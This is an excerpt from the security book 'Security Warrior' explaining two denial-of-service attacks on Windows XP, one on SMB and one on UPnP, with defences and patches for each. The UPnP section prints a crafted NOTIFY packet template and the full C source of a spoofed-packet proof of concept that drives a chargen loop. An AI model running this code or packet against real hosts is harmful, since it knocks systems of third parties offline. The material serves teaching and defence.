Windows DevCenter    
 Published on Windows DevCenter (http://www.windowsdevcenter.com/)
 See this if you're having trouble printing code examples


O'Reilly Book Excerpts: Security Warrior

Protect Yourself Against Denial-of-Service Attacks

Related Reading

Security Warrior
By Cyrus Peikari, Anton Chuvakin

by Anton Chuvakin and Cyrus Peikari

Editor's note: Based on the principle that the only way to defend yourself is to understand your attacker in-depth, the recently released Security Warrior reveals how your Windows and UNIX systems can be attacked. It covers everything from reverse-engineering to SQL attacks, and topics like social engineering, antiforensics, and common attacks against Windows systems. This week we've excerpted a sample from the book that details denial-of-service (DoS) attacks against XP.

Denial-of-Service Attacks

Computer attacks can take several forms, some of which include information gathering, local administrative access, remote access hacks, and, last but not least, denial-of-service (DoS) attacks. While gaining root access to a server is typically the ultimate goal, there are still numerous reasons a hacker would want to simply take a server out of commission.

For example, what would be the result of an organization-wide cyberattack that caused all of the company's web servers to shut down? This type of attack is not only possible but is also easy to perform, since most organizations purchase large blocks of IP addresses and manage them internally. A hacker simply learns this range in order to systematically target the entire block.

In this section, we investigate two denial-of-service attacks that work in such a manner. The first attacks the Server Message Block protocol used by Windows machines, while the second targets the Universal Plug and Play service (a relatively modern feature of Windows operating systems).

SMB Attack

The Service Message Block (SMB) protocol was designed to provide a platform-independent method of requesting data from file services over a network. Also known as the Common Internet File System, this protocol is most often affiliated with the Windows family of operating systems, although others can use it. So far, only Windows has been found vulnerable to the following attack.

SMB operates in the Application/Presentation layers of the OSI model (depicted in Figure 13-1). Because it operates in such high layers, SMB can easily be used in almost any network. TCP/IP, IPX, NetBEUI, and other lesser-known protocols can all work with SMB packaged data.

Fig 13-1
Figure 13-1. OSI model depicting relationship of SMB and other protocols.

SMB is a protocol used for sharing files, printers, and communication methods between computers. SMB operates as a client/server request/response type of service. In this example, we demonstrate it as used with TCP/IP, which is actually NetBIOS over TCP/IP (NBT).

While it is possible to operate Windows XP without allowing SMB requests to connect, this service is set up to run automatically under the default installation. Remote clients can check for SMB service availability by performing a port scan. Positive results include a reply from TCP port 139 and/or TCP port 445, depending on whether NetBIOS over TCP/IP (NBT) is enabled.

Older Windows operating systems use port 139 by default to accept incoming SMB requests. However, with the introduction of Windows 2000 and XP, port 445 is also used to allow Direct Host services to run. Additionally, this port can be used in anonymous share attacks that provide a remote hacker with full access to a Windows box.

In this attack, the weakness is found in the SMB_COM_TRANSACTION command, which used to create functions by which the client and host communicate. In short, this command defines a "Function Code" that determines what type of service is requested by the client. These services are known as NetServEnum2, NetServEnum3, and NetShareEnum. To regulate the amount of information requested, the client uses parameters to send values to the server. Within these parameters are the "Max Param Count" and "Max Data Count" fields, which typically hold valid (nonzero) values. However, if these fields are set to "0", the code in the DLL file responsible for handling this information incorrectly manages the server's memory. As a result, the system goes into an unstable mode and crashes.

While all this information can be useful in understanding and manually performing a DoS attack on SMB, several proof-of-concept programs have been developed to illustrate how it works and test personal networks. One program that illustrates the effectiveness of the SMB attack is smbnuke (written by Frederic Deletang). As seen in Figure 13-2, the program crashes a Windows XP machine with the simple command smbnuke address.

Fig 13-2
Figure 13-2. Windows XP blue screen of death after SMB attack.

Figure 13-2 shows the screen of the targeted Windows XP box with the message posted by the infamous blue screen of death. Note that this screen only flashes for a couple of seconds before the system goes down for a reboot.

This program is easily fetched online with a quick web search. To test your own Windows XP system, you will need to be running a Unix system, preferably FreeBSD or Linux (we tested this on Linux 2.4.18/i686 and FreeBSD 4.6.1-RELEASE-p10/i386). Figure 13-3 shows smbnuke successfully testing Windows XP.

Fig 13-3
Figure 13-3. smbnuke successfully testing Windows XP box.

TIP: The code is available in uncompiled format. You will need to have a C compiler (e.g., GCC) on your system to create the executable file.

There are various ways to secure a system from the SMB DoS attack. The first method is to remove NetBIOS from any network card or modem connection. This eliminates the possibility of abusing NBT and removes the threat of an attack. To do this, access the properties of your connection and uninstall or unbind NetBIOS from TCP/IP. Disable file sharing and uninstall Client for Microsoft Networks.

WARNING: Check with your ISP or LAN administrator before performing any of these actions. Breaking NetBIOS can cause some programs to malfunction.

The second method of defense is to install the patch from Microsoft, which is buried in Service Pack 1 (SP1). Note that Microsoft has not provided a fix for this outside of SP1 -- a service pack that also includes software that ensures your Windows XP license is valid. In other words, if you lose your key, you are hosed.

Disabling Null connections also protects against anonymous attacks, but it does not protect against valid users. This is accomplished on Windows XP by updating the Local Security Policy and enabling "Network Access: Do not allow anonymous enumeration of SAM accounts" and "Network access: Do not allow anonymous enumeration of SAM accounts and shares." On Windows 2000, enable the "Additional restrictions for anonymous connection" option, and in Windows NT, update the registry key at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\restrictanonymous to equal "1".

Finally, shutting down the LAN manager service secures a server, but it also disables file and print services. This option is accessible via the Service icon in the Control Panel (under Adminstrative Tools).

Universal Plug and Play Attack

With the introduction of Windows Me, Microsoft included support for a new technology known as Universal Plug and Play (UPnP) in order to permit the use of smart devices that use the UPnP technology to automatically detect and connect with each other. When a UPnP device connects to a network, it sends out a NOTIFY signal to all other devices on the network, which simply tells the other devices that a new device is online and ready to be used. The NOTIFY signal includes a URL that can be used by other UPnP devices to determine what services the new device has to offer. All this is performed using the Simple Service Discovery Protocol (SSDP), the main formatting protocol for passing information using UPnP (http://www.upnp.org/download/draft_cai_ssdp_v1_03.tx).

In addition to the initial NOTIFY signal, UpnP-aware devices send out a signal over the network known as the M-SEARCH directive. This directive informs all UPnP devices that a new, aware device is on the network, which causes them to send back information about the services each of them has to offer.

While this particular technology is not in widespread use, it could theoretically set up an appliance network to control and regulate every electric device in a house, from toasters to refrigerators. It was not until the release of Windows XP, which enabled this feature by default, that it was discovered that the UPnP feature was vulnerable to several DoS attacks.

The core of the problem is the way which the ssdpsrv.exe file handles incoming requests. The following examples describe several methods of attacking the UPnP service.

The first method is to use an incidental attack that creates a series of rapid connections to the target. Incrementing the protocol, port, and file specified in the Location field makes the service unstable. Here's the format of a NOTIFY session used to do this:

NOTIFY * HTTP/1.1
HOST: <TARGET IP>:1900
CACHE-CONTROL: max-age=10
LOCATION: http://IPADDRESS:PORT/.xml
NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1
NTS: ssdp:alive
SERVER: HACKER/2001 UPnP/1.0 product/1.1
USN: uuid:HACKER

This method of attack can be altered to perform a distributed denial-of-service attack by abusing networking standards. To do this, the attacker has to substitute the Host target IP address with the network's broadcast address (e.g., 255.255.255.0) and then update the Location field with the target. This causes all listening devices on the network to reply to the initial NOTIFY message (Location field), which floods the target computer with numerous replies.

An attacker could also cause a UPnP service to target itself and create a loop that eats up the host's resources. To accomplish this, the NOTIFY message is set to target a chargen service on a remote computer. The chargen service is a small program that sends a stream of characters to any computer that connects to it; when the UPnP service sends data to chargen, it immediately bounces the message back to the requesting computer. This triggers another message, creating a new reply. Eventually, the resources on the target computer fail.

This code is provided with permission from Gabriel Maggoiti as a proof of concept:

/* 
 * WinME/XP UPNP D0S  
 *
 * ./upnp_udp <remote_hostname> <spooffed_host> <chargen_port>
 *
 * Authors:     Gabriel Maggiotti, Fernando Oubiña
 * Email:       gmaggiot@ciudad.com.ar, foubina@qb0x.net
 * Webpage:     http://qb0x.net
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX    1000
#define PORT    1900

char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[MAX]="";
char *pt=strstr(string,orig);

strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}

/*********************************************************/

int main(int argc,char *argv[])
{
    int sockfd,i;
    int numbytes;
    int num_socks;
    int addr_len;
    char recive_buffer[MAX]="";

    char send_buffer[MAX]=
    "NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n"
    "CACHE-CONTROL: max-age=1\r\nLOCATION: 
                    http://www.host.com:port/\r\n"
    "NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n"
    "NTS: ssdp:alive\r\nSERVER: QB0X/201 UPnP/1.0 prouct/1.1\r\n"
    "USN: uuid:QB0X\r\n\r\n\r\n";

    char *aux=send_buffer;
    struct hostent *he;
    struct sockaddr_in their_addr;

    if(argc!=4)
    {
        fprintf(stderr,"usage:%s <remote_hostname> "\
            "<spooffed_host> <chargen_port>\n",argv[0]);
        exit(1);
    }

    aux=str_replace(argv[2],"www.host.com",send_buffer);
    aux=str_replace(argv[3],"port",send_buffer);

    if((he=gethostbyname(argv[1]))==NULL)
    {
        perror("gethostbyname");
        exit(1);
    }

    if( (sockfd=socket(AF_INET,SOCK_DGRAM,0)) == -1) {
        perror("socket"); exit(1);
    }

    their_addr.sin_family=AF_INET;
    their_addr.sin_port=htons(PORT);
    their_addr.sin_addr=*((struct in_addr*)he->h_addr);
    bzero(&(their_addr.sin_zero),8);

    if( (numbytes=sendto(sockfd,send_buffer,strlen
                        (send_buffer),0,\
    (struct sockaddr *)&their_addr, 
                sizeof(struct sockaddr))) ==-1)
    {
        perror("send");
        exit(0);
    }
    close(sockfd);

return 0;
}

Microsoft has released a patch to correct this vulnerability. Once it's installed, the UPnP is no longer vulnerable to this DoS attack. Visit http://windowsupdate.microsoft.com/ for security patches.

The UPnP DoS attack has also led to a remote access attack, discussed later in this chapter.

Anton Chuvakin is a recognized security expert and book author. His current role is PCI Solutions Director at Qualys.

Cyrus Peikari is currently the Chief Technical Officer of Airscanner Corporation, a leading mobile security software company.


Return to WindowsDevCenter.com.

Copyright © 2009 O'Reilly Media, Inc.